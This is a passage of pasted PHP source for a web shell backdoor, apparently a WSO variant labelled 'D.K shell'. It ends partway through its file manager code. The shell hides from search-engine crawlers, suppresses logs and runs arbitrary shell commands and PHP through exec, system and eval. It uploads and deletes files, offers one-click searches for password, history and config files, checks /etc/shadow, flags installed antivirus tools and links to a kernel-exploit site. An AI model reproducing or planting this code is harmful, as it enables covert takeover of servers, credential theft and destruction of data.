· 10 years ago · Mar 12, 2016, 10:36 PM
1<?php
2
3$auth_pass = "418978b3b43ca306ca309ec0bd4f0179"; // pass: dondondon
4$color = "#00FF66"; //Colour
5$default_action = "FilesMan";
6$default_charset = "Windows-1251";
7if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
8 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
9 foreach($userAgents as $agent)
10 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15$auth_pass2 = "6a01bfa30172639e770a6aacb78a3ed4";
16@session_start();
17@error_reporting(0);
18@ini_set('error_log',NULL);
19@ini_set('log_errors',0);
20@ini_set('max_execution_time',0);
21@set_time_limit(0);
22@set_magic_quotes_runtime(0);
23@define('VERSION', ' beta version 1.0 by b47chguru');
24if( get_magic_quotes_gpc() ) {
25 function WSOstripslashes($array) {
26 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
27 }
28 $_POST = WSOstripslashes($_POST);
29}
30function wsoLogin() {
31 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
32}
33if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
34 if( empty( $auth_pass ) ||
35 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass) ) )
36 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
37 else
38 wsoLogin();
39
40if( strtolower( substr(PHP_OS,0,3) ) == "win" )
41 $os = 'win';
42else
43 $os = 'nix';
44$safe_mode = @ini_get('safe_mode');
45$disable_functions = @ini_get('disable_functions');
46$home_cwd = @getcwd();
47if( isset( $_POST['c'] ) )
48 @chdir($_POST['c']);
49$cwd = @getcwd();
50if( $os == 'win') {
51 $home_cwd = str_replace("\\", "/", $home_cwd);
52 $cwd = str_replace("\\", "/", $cwd);
53}
54if( $cwd[strlen($cwd)-1] != '/' )
55 $cwd .= '/';
56
57if($os == 'win')
58 $aliases = array(
59 "List Directory" => "dir",
60 "Find index.php in current dir" => "dir /s /w /b index.php",
61 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
62 "Show active connections" => "netstat -an",
63 "Show running services" => "net start",
64 "User accounts" => "net user",
65 "Show computers" => "net view",
66 "ARP Table" => "arp -a",
67 "IP Configuration" => "ipconfig /all"
68 );
69else
70 $aliases = array(
71 "List dir" => "ls -lha",
72 "list file attributes on a Linux second extended file system" => "lsattr -va",
73 "show opened ports" => "netstat -an | grep -i listen",
74 "Find" => "",
75 "find all suid files" => "find / -type f -perm -04000 -ls",
76 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
77 "find all sgid files" => "find / -type f -perm -02000 -ls",
78 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
79 "find config.inc.php files" => "find / -type f -name config.inc.php",
80 "find config* files" => "find / -type f -name \"config*\"",
81 "find config* files in current dir" => "find . -type f -name \"config*\"",
82 "find all writable folders and files" => "find / -perm -2 -ls",
83 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
84 "find all service.pwd files" => "find / -type f -name service.pwd",
85 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
86 "find all .htpasswd files" => "find / -type f -name .htpasswd",
87 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
88 "find all .bash_history files" => "find / -type f -name .bash_history",
89 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
90 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
91 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
92 "Locate" => "",
93 "locate httpd.conf files" => "locate httpd.conf",
94 "locate vhosts.conf files" => "locate vhosts.conf",
95 "locate proftpd.conf files" => "locate proftpd.conf",
96 "locate psybnc.conf files" => "locate psybnc.conf",
97 "locate my.conf files" => "locate my.conf",
98 "locate admin.php files" =>"locate admin.php",
99 "locate cfg.php files" => "locate cfg.php",
100 "locate conf.php files" => "locate conf.php",
101 "locate config.dat files" => "locate config.dat",
102 "locate config.php files" => "locate config.php",
103 "locate config.inc files" => "locate config.inc",
104 "locate config.inc.php" => "locate config.inc.php",
105 "locate config.default.php files" => "locate config.default.php",
106 "locate config* files " => "locate config",
107 "locate .conf files"=>"locate '.conf'",
108 "locate .pwd files" => "locate '.pwd'",
109 "locate .sql files" => "locate '.sql'",
110 "locate .htpasswd files" => "locate '.htpasswd'",
111 "locate .bash_history files" => "locate '.bash_history'",
112 "locate .mysql_history files" => "locate '.mysql_history'",
113 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
114 "locate backup files" => "locate backup",
115 "locate dump files" => "locate dump",
116 "locate priv files" => "locate priv"
117 );
118
119function wsoHeader() {
120 if(empty($_POST['charset']))
121 $_POST['charset'] = $GLOBALS['default_charset'];
122 global $color;
123 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - D.K shell" . VERSION ."</title>
124<style>
125body{background-color:#444;color:#e1e1e1;}
126body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
127table.info{ color:#fff;background-color:#222; }
128span,h1,a{ color: $color !important; }
129span{ font-weight: bolder; }
130h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
131div.content{ padding: 5px;margin-left:5px;background-color:#333; }
132a{ text-decoration:none; }
133a:hover{ text-decoration:underline; }
134.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
135.bigarea{ width:100%;height:250px; }
136input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
137form{ margin:0px; }
138#toolsTbl{ text-align:center; }
139.toolsInp{ width: 300px }
140.main th{text-align:left;background-color:#5e5e5e;}
141.main tr:hover{background-color:#5e5e5e}
142.l1{background-color:#444}
143pre{font-family:Courier,Monospace;}
144</style>
145<script>
146 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
147 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
148 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
149 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
150 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
151 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
152 function set(a,c,p1,p2,p3,charset) {
153 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
154 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
155 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
156 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
157 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
158 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
159 }
160 function g(a,c,p1,p2,p3,charset) {
161 set(a,c,p1,p2,p3,charset);
162 document.mf.submit();
163 }
164 function a(a,c,p1,p2,p3,charset) {
165 set(a,c,p1,p2,p3,charset);
166 var params = 'ajax=true';
167 for(i=0;i<document.mf.elements.length;i++)
168 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
169 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
170 }
171 function sr(url, params) {
172 if (window.XMLHttpRequest)
173 req = new XMLHttpRequest();
174 else if (window.ActiveXObject)
175 req = new ActiveXObject('Microsoft.XMLHTTP');
176 if (req) {
177 req.onreadystatechange = processReqChange;
178 req.open('POST', url, true);
179 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
180 req.send(params);
181 }
182 }
183 function processReqChange() {
184 if( (req.readyState == 4) )
185 if(req.status == 200) {
186 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
187 var arr=reg.exec(req.responseText);
188 eval(arr[2].substr(0, arr[1]));
189 } else alert('Request error!');
190 }
191</script>
192<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
193<form method=post name=mf style='display:none;'>
194<input type=hidden name=a>
195<input type=hidden name=c>
196<input type=hidden name=p1>
197<input type=hidden name=p2>
198<input type=hidden name=p3>
199<input type=hidden name=charset>
200</form>";
201 $freeSpace = @diskfreespace($GLOBALS['cwd']);
202 $totalSpace = @disk_total_space($GLOBALS['cwd']);
203 $totalSpace = $totalSpace?$totalSpace:1;
204 $release = @php_uname('r');
205 $kernel = @php_uname('s');
206 $millink = 'http://milw0rm.com/search.php?dong=';
207 if( strpos('Linux', $kernel) !== false )
208 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
209 else
210 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
211 if(!function_exists('posix_getegid')) {
212 $user = @get_current_user();
213 $uid = @getmyuid();
214 $gid = @getmygid();
215 $group = "?";
216 } else {
217 $uid = @posix_getpwuid(@posix_geteuid());
218 $gid = @posix_getgrgid(@posix_getegid());
219 $user = $uid['name'];
220 $uid = $uid['uid'];
221 $group = $gid['name'];
222 $gid = $gid['gid'];
223 }
224 $cwd_links = '';
225 $path = explode("/", $GLOBALS['cwd']);
226 $n=count($path);
227 for($i=0;$i<$n-1;$i++) {
228 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
229 for($j=0;$j<=$i;$j++)
230 $cwd_links .= $path[$j].'/';
231 $cwd_links .= "\")'>".$path[$i]."/</a>";
232 }
233 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
234 $opt_charsets = '';
235 foreach($charsets as $item)
236 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
237 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SafeMode'=>'SafeMode','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Symlink'=>'symlink');
238 if(!empty($GLOBALS['auth_pass']))
239 $m['Logout'] = 'Logout';
240 $m['Self remove'] = 'SelfRemove';
241 $menu = '';
242 foreach($m as $k => $v)
243 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
244 $drives = "";
245 if ($GLOBALS['os'] == 'win') {
246 foreach( range('c','z') as $drive )
247 if (is_dir($drive.':\\'))
248 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
249 }
250 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
251 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a><a href=# onclick="g(\'about\',null,null,null,\'null\')"> [About] </a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
252 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
253 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
254}
255
256function wsoFooter() {
257 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
258 echo "
259</div>
260<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
261 <tr>
262 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
263 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
264 </tr><tr>
265 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
266 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
267 </tr><tr>
268 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
269 <td><form method='post' ENCTYPE='multipart/form-data'>
270 <input type=hidden name=a value='FilesMAn'>
271 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
272 <input type=hidden name=p1 value='uploadFile'>
273 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
274 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
275 </tr></table></div></body></html>";
276}
277
278if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
279if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
280function wsoEx($in) {
281 $out = '';
282 if(function_exists('exec')) {
283 @exec($in,$out);
284 $out = @join("\n",$out);
285 }elseif(function_exists('passthru')) {
286 ob_start();
287 @passthru($in);
288 $out = ob_get_clean();
289 }elseif(function_exists('system')) {
290 ob_start();
291 @system($in);
292 $out = ob_get_clean();
293 }elseif(function_exists('shell_exec')) {
294 $out = shell_exec($in);
295 }elseif(is_resource($f = @popen($in,"r"))) {
296 $out = "";
297 while(!@feof($f))
298 $out .= fread($f,1024);
299 pclose($f);
300 }
301 return $out;
302}
303function wsoViewSize($s) {
304 if($s >= 1073741824)
305 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
306 elseif($s >= 1048576)
307 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
308 elseif($s >= 1024)
309 return sprintf('%1.2f', $s / 1024 ) . ' KB';
310 else
311 return $s . ' B';
312}
313
314function wsoPerms($p) {
315 if (($p & 0xC000) == 0xC000)$i = 's';
316 elseif (($p & 0xA000) == 0xA000)$i = 'l';
317 elseif (($p & 0x8000) == 0x8000)$i = '-';
318 elseif (($p & 0x6000) == 0x6000)$i = 'b';
319 elseif (($p & 0x4000) == 0x4000)$i = 'd';
320 elseif (($p & 0x2000) == 0x2000)$i = 'c';
321 elseif (($p & 0x1000) == 0x1000)$i = 'p';
322 else $i = 'u';
323 $i .= (($p & 0x0100) ? 'r' : '-');
324 $i .= (($p & 0x0080) ? 'w' : '-');
325 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
326 $i .= (($p & 0x0020) ? 'r' : '-');
327 $i .= (($p & 0x0010) ? 'w' : '-');
328 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
329 $i .= (($p & 0x0004) ? 'r' : '-');
330 $i .= (($p & 0x0002) ? 'w' : '-');
331 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
332 return $i;
333}
334function wsoPermsColor($f) {
335 if (!@is_readable($f))
336 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
337 elseif (!@is_writable($f))
338 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
339 else
340 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
341}
342if(!function_exists("scandir")) {
343 function scandir($dir) {
344 $dh = opendir($dir);
345 while (false !== ($filename = readdir($dh))) {
346 $files[] = $filename;
347 }
348 return $files;
349 }
350}
351function wsoWhich($p) {
352 $path = wsoEx('which '.$p);
353 if(!empty($path))
354 return $path;
355 return false;
356}
357function actionSecInfo() {
358 wsoHeader();
359 echo '<h1>Server security information</h1><div class=content>';
360 function wsoSecParam($n, $v) {
361 $v = trim($v);
362 if($v) {
363 echo '<span>'.$n.': </span>';
364 if(strpos($v, "\n") === false)
365 echo $v.'<br>';
366 else
367 echo '<pre class=ml1>'.$v.'</pre>';
368 }
369 }
370
371 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
372 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
373 wsoSecParam('Open base dir', @ini_get('open_basedir'));
374 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
375 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
376 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
377 $temp=array();
378 if(function_exists('mysql_get_client_info'))
379 $temp[] = "MySql (".mysql_get_client_info().")";
380 if(function_exists('mssql_connect'))
381 $temp[] = "MSSQL";
382 if(function_exists('pg_connect'))
383 $temp[] = "PostgreSQL";
384 if(function_exists('oci_connect'))
385 $temp[] = "Oracle";
386 wsoSecParam('Supported databases', implode(', ', $temp));
387 echo '<br>';
388
389 if( $GLOBALS['os'] == 'nix' ) {
390 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
391 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
392 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
393 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
394 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
395 wsoSecParam('OS version', @file_get_contents('/proc/version'));
396 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
397 if(!$GLOBALS['safe_mode']) {
398 echo '<br>';
399 $temp=array();
400 foreach ($userful as $item)
401 if(wsoWhich($item)){$temp[]=$item;}
402 wsoSecParam('Userful', implode(', ',$temp));
403 $temp=array();
404 foreach ($danger as $item)
405 if(wsoWhich($item)){$temp[]=$item;}
406 wsoSecParam('Danger', implode(', ',$temp));
407 $temp=array();
408 foreach ($downloaders as $item)
409 if(wsoWhich($item)){$temp[]=$item;}
410 wsoSecParam('Downloaders', implode(', ',$temp));
411 echo '<br/>';
412 wsoSecParam('HDD space', wsoEx('df -h'));
413 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
414 }
415 } else {
416 wsoSecParam('OS Version',wsoEx('ver'));
417 wsoSecParam('Account Settings',wsoEx('net accounts'));
418 wsoSecParam('User Accounts',wsoEx('net user'));
419 }
420 echo '</div>';
421 wsoFooter();
422}
423
424function actionPhp() {
425 if( isset($_POST['ajax']) ) {
426 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
427 ob_start();
428 eval($_POST['p1']);
429 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
430 echo strlen($temp), "\n", $temp;
431 exit;
432 }
433 wsoHeader();
434 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
435 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
436 ob_start();
437 phpinfo();
438 $tmp = ob_get_clean();
439 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
440 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
441 echo str_replace('h1','h2',$tmp).'</div><br>';
442 }
443 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
444 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
445 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
446 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
447 if(!empty($_POST['p1'])) {
448 ob_start();
449 eval($_POST['p1']);
450 echo htmlspecialchars(ob_get_clean());
451 }
452 echo '</pre></div>';
453 wsoFooter();
454}
455
456function actionFilesMan() {
457 wsoHeader();
458 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
459 if(!empty($_POST['p1'])) {
460 switch($_POST['p1']) {
461 case 'uploadFile':
462 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
463 echo "Can't upload file!";
464 break;
465 case 'mkdir':
466 if(!@mkdir($_POST['p2']))
467 echo "Can't create new dir";
468 break;
469 case 'delete':
470 function deleteDir($path) {
471 $path = (substr($path,-1)=='/') ? $path:$path.'/';
472 $dh = opendir($path);
473 while ( ($item = readdir($dh) ) !== false) {
474 $item = $path.$item;
475 if ( (basename($item) == "..") || (basename($item) == ".") )
476 continue;
477 $type = filetype($item);
478 if ($type == "dir")
479 deleteDir($item);
480 else
481 @unlink($item);
482 }
483 closedir($dh);
484 rmdir($path);
485 }
486 if(is_array(@$_POST['f']))
487 foreach($_POST['f'] as $f) {
488 $f = urldecode($f);
489 if(is_dir($f))
490 deleteDir($f);
491 else
492 @unlink($f);
493 }
494 break;
495 case 'paste':
496 if($_SESSION['act'] == 'copy') {
497 function copy_paste($c,$s,$d){
498 if(is_dir($c.$s)){
499 mkdir($d.$s);
500 $h = @opendir($c.$s);
501 while (($f = @readdir($h)) !== false)
502 if (($f != ".") and ($f != "..")) {
503 copy_paste($c.$s.'/',$f, $d.$s.'/');
504 }
505 } elseif(is_file($c.$s)) {
506 @copy($c.$s, $d.$s);
507 }
508 }
509 foreach($_SESSION['f'] as $f)
510 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
511 } elseif($_SESSION['act'] == 'move') {
512 function move_paste($c,$s,$d){
513 if(is_dir($c.$s)){
514 mkdir($d.$s);
515 $h = @opendir($c.$s);
516 while (($f = @readdir($h)) !== false)
517 if (($f != ".") and ($f != "..")) {
518 copy_paste($c.$s.'/',$f, $d.$s.'/');
519 }
520 } elseif(@is_file($c.$s)) {
521 @copy($c.$s, $d.$s);
522 }
523 }
524 foreach($_SESSION['f'] as $f)
525 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
526 } elseif($_SESSION['act'] == 'zip') {
527 if(class_exists('ZipArchive')) {
528 $zip = new ZipArchive();
529 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
530 chdir($_SESSION['c']);
531 foreach($_SESSION['f'] as $f) {
532 if(@is_file($_SESSION['c'].$f))
533 $zip->addFile($_SESSION['c'].$f, $f);
534 elseif(@is_dir($_SESSION['c'].$f)) {
535 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
536 foreach ($iterator as $key=>$value) {
537 $zip->addFile(realpath($key), $key);
538 }
539 }
540 }
541 chdir($GLOBALS['cwd']);
542 $zip->close();
543 }
544 }
545 } elseif($_SESSION['act'] == 'unzip') {
546 if(class_exists('ZipArchive')) {
547 $zip = new ZipArchive();
548 foreach($_SESSION['f'] as $f) {
549 if($zip->open($_SESSION['c'].$f)) {
550 $zip->extractTo($GLOBALS['cwd']);
551 $zip->close();
552 }
553 }
554 }
555 }
556 unset($_SESSION['f']);
557 break;
558 default:
559 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
560 $_SESSION['act'] = @$_POST['p1'];
561 $_SESSION['f'] = @$_POST['f'];
562 foreach($_SESSION['f'] as $k => $f)
563 $_SESSION['f'][$k] = urldecode($f);
564 $_SESSION['c'] = @$_POST['c'];
565 }
566 break;
567 }
568 }
569 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
570 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
571 global $sort;
572 $sort = array('name', 1);
573 if(!empty($_POST['p1'])) {
574 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
575 $sort = array($match[1], (int)$match[2]);
576 }
577echo "<script>
578 function sa() {
579 for(i=0;i<document.files.elements.length;i++)
580 if(document.files.elements[i].type == 'checkbox')
581 document.files.elements[i].checked = document.files.elements[0].checked;
582 }
583</script>
584<table width='100%' class='main' cellspacing='0' cellpadding='2'>
585<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
586 $dirs = $files = array();
587 $n = count($dirContent);
588 for($i=0;$i<$n;$i++) {
589 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
590 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
591 $tmp = array('name' => $dirContent[$i],
592 'path' => $GLOBALS['cwd'].$dirContent[$i],
593 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
594 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
595 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
596 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
597 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
598 );
599 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
600 $files[] = array_merge($tmp, array('type' => 'file'));
601 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
602 $dirs[] = array_merge($tmp, array('type' => 'link'));
603 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
604 $dirs[] = array_merge($tmp, array('type' => 'dir'));
605 }
606 $GLOBALS['sort'] = $sort;
607 function wsoCmp($a, $b) {
608 if($GLOBALS['sort'][0] != 'size')
609 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
610 else
611 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
612 }
613 usort($files, "wsoCmp");
614 usort($dirs, "wsoCmp");
615 $files = array_merge($dirs, $files);
616 $l = 0;
617 foreach($files as $f) {
618 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
619 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
620 $l = $l?0:1;
621 }
622 echo "<tr><td colspan=7>
623 <input type=hidden name=a value='FilesMan'>
